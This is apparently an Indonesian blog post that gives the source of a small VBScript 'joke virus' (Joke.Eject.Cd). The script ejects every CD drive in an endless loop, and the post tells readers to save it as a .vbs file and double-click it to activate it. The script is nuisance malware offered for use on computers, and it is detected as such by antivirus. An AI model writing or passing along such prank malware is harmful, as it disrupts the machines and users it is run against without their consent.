source Code Virus Joke.Eject.Cd

do
Set oWMP = CreateObject(”WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
If colCDROMs.Count >= 1 Then
For i = 0 To colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ‘ cdrom
End If
loop
—–

cut here…

Cara bikinnya, pertama kopi tulisan kode diatas lalu simpen diNotepad,,,trus simpen dgn ekstensi “.vbs” [tanpa tanda petik]…trus klik 2 kali file virus tsb,,,maka virus akn aktif,,,heheee…..

Niy code virus sederhana, di detek sbg joke.eject.cd…

selamat mencoba..